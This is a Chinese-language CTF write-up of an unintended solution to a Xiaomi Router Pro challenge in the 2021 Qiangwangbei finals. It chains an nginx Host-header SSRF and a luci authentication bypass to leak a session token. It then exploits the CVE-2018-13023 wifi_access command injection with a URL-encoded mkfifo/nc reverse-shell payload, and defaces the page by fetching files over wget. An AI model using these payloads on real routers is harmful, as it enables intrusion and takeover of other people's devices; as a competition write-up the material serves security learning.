在刚刚结束的2021年的强网杯线下总决赛中,我们战队总共解了两道Real World类型的题目(太菜了,流下了不学无术的泪水),其中一道就是关于小米路由器Pro,我们提供了一种主办方没有预料到的解题思路。这篇文章除了是一篇WriteUP提供非预期解的思路外,更多的是对于我第一次在赛场中挖掘RW题目漏洞的一些过程经验以及一些想法与思考
再次感谢队友JBGG师傅和Tree师傅的帮助 (>ω<)
PS.1:今年强网杯的酒店确实好了不少,自助餐也很不错哦,就是茶歇会晤经常吃不到茶歇。自己确实也太菜了,之前都在去忙一些学术研究和中科院信工所的夏令营,生疏了很多
PS.2:漏洞内容已经和小米SRC团队进行过沟通,他们表示是内部已知,应该是可以直接公开EXP或者POC的
一、前期 – 文件系统提取
比赛一开始,志愿者就给每个队伍发放了一个小米路由器Pro的本体,还有一个U盘,U盘里面存放了所有的RW题目。然后我打开U盘看了看MIROUTE赛题,只有一个index.html,我懵了
这次强网杯比赛真的一开始准备很不充足,也没有预料到真的会直接发一个硬件本体叫选手挖,竞赛网站上也没有硬件的固件下载。真的完全没有准备去要做硬件设备固件提取的工具,看了看隔壁清华Redbud战队的Clang大佬带了烙铁、锡、吸锡带、排针、排线、串口转USB、蓝牙 usb dongle、wifi抓包网卡、抓包树莓派、测试夹、编程器、Arduino等等,工具真的齐全。看了看自己就一台破笔记本,一根网线,心理压力突然剧增
但是没有关系,在两年前曾经参加过小米路由器的内测活动,接触过他们的开发团队,大家都知道几年前小米路由器的固件是有多么拉跨(虽然这两年的AX系列还是挺不错的),所以我坚信这台几年前的小米Pro一定是有洞可以挖的,先看看题目要求把
对于所有的IoT题目而言,最初始的第一步都是提取相应设备的固件或者文件系统。如果准备充分的话,是可以直接用硬件提取出固件系统的,但是,但是我没有。然后发现这台路由器刷写的应该是开发版的ROM,小米路由器开发版的ROM都是可以开始SSH服务的,阅读了一下题目要求,这台小米路由器Pro是已经开启了SSH服务,有了SSH服务就可以进行很多操作了
然后这里我发现断网用LAN口去调试小米路由器很不方便,因为断网没有办法边查资料边探索,于是我想起我们的比赛环境的网络是直接可以连接外网的,于是我将WAN口连接上我们的比赛网络,然后其他队员的电脑连接上路由器的LAN口,这样我们就可以边调试路由器边连接外网查阅资料继续打其他题目,而且多个队员可以同时调试路由器,极大地提高了效率
然后有了SSH服务,我的想法是能否直接通过SFTP服务,将文件系统直接打包Copy下来,然后我发现我错了。小米路由器的开发版固件都是已经把sftp服务删除了的,需要自行安装sftp服务。然后我发现网络上大部分的小米路由器安装sftp服务的教程都已经不适用了,因为现在的固件上都只有\data
和\tmp
目录是有读写权限的。那这怎么办呢,我想了一想,之前自己玩小米路由器3、4的时候,常常会安装一个插件工具箱,这些工具箱常常都会提供,比较常用的就是Misstar Tools工具箱。然后小米路由器4和小米路由器Pro采用的都是同一款MTK基于MIPS的Soc叫做MT7621a的芯片,所以大部分经验应该是相通的
然后我在这台小米路由器Pro上成功部署了Misstar Tools工具箱
但是问题来了,我在这台小米路由器Pro上使用Misstar Tools没有能找到关于sftp的工具,后面我寻找到了另外一款工具箱叫做MIXBOX,浏览页面刚好支持我们的MT7621A系列的小米路由,于是安装上了,这里我使用的是Github的源安装
sh -c "$(curl -kfsSl https://raw.githubusercontent.com/monlor/mbfiles/master/install_github.sh)" && source /etc/profile &> /dev/null
安装完成后的效果
这个时候我们只需要安装一个filebrowser插件就可以很方便的直接浏览提取小米路由器的文件系统,安装后得先启用
然后在浏览器中就可以直接把整个路由器的文件系统下载下来
现在我们就拿到了目标设备的一部分固件和文件系统,可以开始进行漏洞挖掘的工作了
我将赛题的文件系统已经上传到Gitee上了:qwb-miroute
二、漏洞挖掘与利用
2.1 信息收集确定目标
后来竞赛系统提供了路由器管理页面的登陆密码,我们登录进去了,然后可以发现这个路由器的ROM是基于小米路由器Pro 最新的开发版2.13.65,我们从官网上将这个版本的路由器固件下载下来并进行了解包,我们一开始没有将两个版本的固件进行对比(太蠢了,失误了,没经验),我的第一反应是收集小米路由器最近有关的CVE漏洞情况
我们的第一个收集网站就是小米自己的产品安全中心,上面可以看到一些最新的小米产品已知的漏洞信息
我们可以从中得知以下几个已知漏洞:
- CVE-2020-11960:AX3600路由器解压逻辑错误导致代码执行,
c_upload
接口在检查备份文件时存在漏洞,使攻击者能够提取/tmp
中任何位置的恶意文件,可能导致RCE和DoS - CVE-2020-11961:AX3600路由器敏感信息泄露,一个不安全的接口
get_config_result
没有进行鉴权导致的敏感信息泄露 - CVE-2020-14904:AX3600路由器后台命令注入绕过,可以通过Web界面注入连接服务,从而导致堆栈溢出或远程执行代码
- CVE-2020-018:AX3600路由器后台目录穿越,可以通过Web界面注入连接服务,从而导致堆栈溢出或远程执行代码
- CVE-2020-14100:miwifi6 AX3600后台命令注入绕过,可绕过set_wan6接口中的过滤器,导致远程代码执行。路由器管理员可以从这个漏洞得到root权限
- CVE-2020-14097:路由器nginx配置错误,错误的nginx配置, 导致特定路径可以被未授权下载
- CVE-2020-14098:路由器后台鉴权绕过,可利用路由器重启后时间未同步的问题绕过登录校验
- CVE-2020-14102:路由器后台命令注入,ddns处理hostname时存在命令注入, 导致管理员用户可以获取路由器的root权限
- CVE-2020-024:路由器web管理界面token泄露,路由器web管理界面的数据采集sdk导致了token的泄露
- CVE-2020-14099:路由器用户备份文件加密方案存在安全问题,用户备份文件的加密方案使用了硬编码密钥, 导致用户的口令等敏感信息可能被泄露
这几个CVE是长亭公司挖的漏洞,具体可以参考以下几篇文章
- https://zhuanlan.zhihu.com/p/245070099
- HITCON 2020的议题
Exploit (Almost) All Xiaomi Routers Using Logical Bugs
然后进行Google Hacking还发现一些小米路由器的历史CVE漏洞,大概有以下几个
- CVE-2018-14060:小米路由器HD(R3D)远程代码执行漏洞
- CVE-2018-13023:Command Injection in wifi_access Functionality
我们可以总结出小米路由器系统大概存在以下几个问题:
- Nginx的配置经常出问题,不乏一些十分严重的配置错误信息
- 小米路由器会存在一些Token泄露的问题
- 小米路由器存在后台鉴权绕过
- 小米路由器使用的是OpenWRT改的系统,采用的图形管理页面也是luci,所以luci采用的lua脚本逻辑控制代码中,应该会存在许多的逻辑处理问题
我们发现长亭的一些漏洞已经被Patch过了,也就是我们手上的固件是已经被修改过的,那么我们这个赛题应该是预埋了漏洞的题目。虽然已经Patch过了,但是我发现很多的lua文件是没有被修改过的,也就是还存在着可以利用的点
2.2 开始挖掘与利用
首先在固件路径/etc/sysapihttpd/sysapihttpd.conf的Nginx配置文件中第361行开始
server {
location / {
proxy_pass http://$http_host$request_uri;
}
}
变量”$http_host”可以包含不受信任的用户输入,导致存在SSRF攻击,SSRF攻击的Payload如下(可以造成SSRF攻击的端口
GET / HTTP/1.1
Host: 127.0.0.1:8960
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Referer: http://192.168.31.1/cgi-bin/luci/web
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: __guid=86847064.961667553213477100.1625900926845.912; monitor_count=1
Connection: close
当成功利用SSRF攻击后,我们还发现luci程序api接口中存在可以绕过鉴权泄露token的漏洞
在\usr\lib\lua\luci\dispatcher关于鉴权的判断,也就是在631行中isremote的判断中存在可以绕过的逻辑,只要ip == "127.0.0.1" and host == "localhost"
,即可绕过验证
local isremote = ip == "127.0.0.1" and host == "localhost"
if _sdkFilter(track.flag) and not isremote then
local sdkutil = require("xiaoqiang.util.XQSDKUtil")
if not sdkutil.checkPermission(getremotemac()) then
context.path = {}
luci.http.write([[{"code":1500,"msg":"Permission denied"}]])
return
end
end
if not isremote and not _noauthAccessAllowed(track.flag) and track.sysauth then
local sauth = require "luci.sauth"
local crypto = require "xiaoqiang.util.XQCryptoUtil"
local sysutil = require "xiaoqiang.util.XQSysUtil"
local isBinded = sysutil.getPassportBindInfo()
local authen = type(track.sysauth_authenticator) == "function"
and track.sysauth_authenticator
or authenticator[track.sysauth_authenticator]
local def = (type(track.sysauth) == "string") and track.sysauth
local accs = def and {track.sysauth} or track.sysauth
local sess = ctx.urltoken.stok
local sdat = sauth.read(sess)
local user
if sdat then
if ctx.urltoken.stok == sdat.token and (not sdat.ip or (sdat.ip and sdat.ip == ip)) then
user = sdat.user
end
else
local eu = http.getenv("HTTP_AUTH_USER")
local ep = http.getenv("HTTP_AUTH_PASS")
if eu and ep and luci.sys.user.checkpasswd(eu, ep) then
-- authen = function() return eu end
local logger = require("xiaoqiang.XQLog")
logger.log(4, "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS")
end
end
泄露token的漏洞文件在/usr/lib/lua/luci/controller/api/xqsystem中,漏洞函数renewToken位于第499行
function renewToken()
local datatypes = require("luci.cbi.datatypes")
local sauth = require "luci.sauth"
local result = {}
local ip = LuciHttp.formvalue("ip")
if ip and not datatypes.ipaddr(ip) then
ip = nil
end
local session = sauth.available(ip)
if session and session.token then
result["token"] = session.token
else
local token = luci.sys.uniqueid(16)
sauth.write(token, {
user="admin",
token=token,
ltype="2",
ip=ip,
secret=luci.sys.uniqueid(16)
})
result["token"] = token
end
result["code"] = 0
LuciHttp.write_json(result)
end
当利用SSRF伪装成内网访问这个API的时候就可以泄露一个Token,利用payload如下
curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/renew_token -H 'Host: localhost'
漏洞验证成功返回token
(base) syc@ubuntu:~/Desktop/miroute/qwb-miroute$ curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/renew_token -H 'Host: localhost'
* Trying 192.168.31.1:8197...
* Connected to 192.168.31.1 (192.168.31.1) port 8197 (#0)
> GET /cgi-bin/luci/api/xqsystem/renew_token HTTP/1.1
> Host: localhost
> User-Agent: curl/7.71.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: close
< Tx-Server: MiXr
< Date: Sun, 11 Jul 2021 03:55:43 GMT
< Cache-Control: no-cache
< Expires: Thu, 01 Jan 1970 00:00:01 GMT
< MiCGI-Switch: 0 1
< MiCGI-Client-Ip: 127.0.0.1
< MiCGI-Host: localhost
< MiCGI-Http-Host: localhost
< MiCGI-Server-Ip: 127.0.0.1
< MiCGI-Server-Port: 80
< MiCGI-Status: CGI
< MiCGI-Preload: no
< XQ-Mark: subfilter
<
* Closing connection 0
{"token":"1182ef5f4df21732ef537e0ec7698e78","code":0}(base)
通过泄露Token后,发现Command Injection in wifi_access Functionality (CVE-2018-13023)漏洞没有被修复,利用这个CVE进行漏洞注入,即可获得root权限的反射shell,具体的payload如下:
GET /cgi-bin/luci/;stok=bf632940b33ef5ffdf7b55b6c80ae94b/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout=%3bmkfifo+/tmp/p%3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.62+8888+>/tmp/p+%23 HTTP/1.1
Host: localhost
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Referer: http://192.168.31.1/cgi-bin/luci/web
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
即可实现针对小米路由器的RCE,具体针对这个赛题,我们在拿到具有root权限的Shell后,发现小米路由器Pro的大部分分区都已经硬件完成的只读,只有\data
和\tmp
两个区域是可读写的,而路由器的登录页面存在于\www
目录,那如何成功修改我们的黑页呢?
我们采取的手段是强行停止路由器的HTTP服务器,重新书写配置文件,将重新运行的路由器HTTP服务器默认目录指向我们布置在\data
分区的黑页,即可完成最后的黑页修改
关闭web服务:
/usr/sbin/sysapihttpd -c /etc/sysapihttpd/sysapihttpd.conf -s stop
下载test.conf与index.html:
wget http://192.168.31.62:60080/test.conf && wget http://192.168.31.62:60080/index.html
我们jbgg编写的conf:
user root root;
worker_processes 1;
worker_rlimit_nofile 512;
worker_priority -5;
daemon on;
error_log stderr warn;
events {
use epoll;
worker_connections 256;
}
http {
default_type application/octet-stream;
log_format main '"$server_addr"\t"$host"\t"$remote_addr"\t"$time_local"\t"$request_method $request_uri"\t"$status"\t"$request_length"\t"$bytes_sent"\t"$request_time"\t"$sent_http_ MiCGI_Cache_Status"\t"$upstream_addr"\t"$upstream_response_time"\t"$http_referer"\t"$http_user_agent"';
access_log off;
sendfile on;
#tcp_nopush on;
server_tokens off;
keepalive_timeout 0;
client_max_body_size 0;
fastcgi_connect_timeout 300;
fastcgi_read_timeout 300;
fastcgi_send_timeout 300;
#fastcgi_buffering off;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 32k;
fastcgi_busy_buffers_size 64k;
fastcgi_temp_file_write_size 64k;
server {
listen 80;
server_name _;
access_log off;
log_not_found off;
keepalive_timeout 0;
send_timeout 60m;
root /tmp;
index index.html index.htm;
reset_timedout_connection on;
expires epoch;
}
}
然后重启HTTP服务器,完成黑页的修改:
/usr/sbin/sysapihttpd -c /tmp/test.conf
ROIS PWN!
这里可以参考淼哥大佬的环境复现指南:
- 购买个小米路由器Pro R3P
- 刷开发版2.13.65
- 开ssh(https://zhuanlan.zhihu.com/p/355522733)
- 修改traffic.lua,埋漏洞
cp -r /usr/lib/lua/ /tmp/
vi /tmp/lua/traffic.lua
mount -o loop /tmp/lua/ /usr/lib/lua/
- 可以开始复现了
四、结尾
当HACKED BY ROIS的字符打在大屏幕的时候,内心的激动是难以言喻的,这也算是自己进入CTF生涯以来,第一次现场对真实环境挖掘漏洞,并真的成功进行利用了。真的是太激动了,熬夜了一个晚上的努力最终有了成果
后来从主办方和出题人方面了解到,我们通过SSRF进而绕过鉴权是这个比赛的非预期解,也是主办方没有挖到的漏洞。算上我们一共3个队伍是拿token做的,还有1个队伍是某服务堆溢出做的
关于正规的预期解可以查看清华Redbud战队的Clang大佬和淼哥两位IoT领域大佬的WP,主要就是利用了一个traffic.lua
的服务。强烈建议多看看Clang大佬的博客,对于IoT设备的漏洞挖掘有很深的帮助,他还是HWS夏令营的培训导师。在2019年的XCTF福州营认识他,那时候我还是大一的学生,开启了对于IoT漏洞挖掘的新世界
2021年强网杯的RW题目的百度云盘链接如下:
https://pan.baidu.com/s/1ax_Vl7ModeuZbBZ4u1QOeQ 提取码: ypxu
我大概得出了以下经验:
- 要学会利用先用的工具快速的完成一些基础操作
- 要尽量去收集一些既有的CVE漏洞可以快速的找到挖掘的方向
- 对于挖掘真实环境的漏洞,单一技能树是不行的,一定要掌握多种技能树,因为现实的环境是复杂的
- 对于既有固件或者源码可以进行对比,快速定位Patch或者不同点,也可以快速发现挖掘的方向
再次感谢队友们,和之前帮助过的老师与师傅们
发表评论
您还未登录,请先登录。
登录